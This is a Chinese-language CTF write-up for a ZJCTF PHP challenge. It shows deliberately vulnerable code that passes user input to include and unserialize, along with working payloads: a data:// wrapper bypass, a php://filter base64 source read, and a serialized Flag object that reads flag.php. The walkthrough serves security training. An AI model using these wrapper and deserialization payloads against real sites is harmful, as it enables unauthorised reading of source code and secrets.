<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
题干:
知识:
伪协议:web安全——伪协议_h0l10w的博客-CSDN博客
data:// 写入数据
php://input 执行php
//filter 查看源码
第一个绕过:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
函数file_get_contents() 把整个文件读入一个字符串中,用于把文件的内容读入到一个字符串中的首选方法。
读取数据这时候需要用到data:// 写入协议了
于是我们先构造第一个payload:?text=data://text/plain,welcome to the zjctf
第二个绕过:include($file);
读取源码这时候需要payload:file=php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个绕过:常规反序列化
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
查看源码得到flag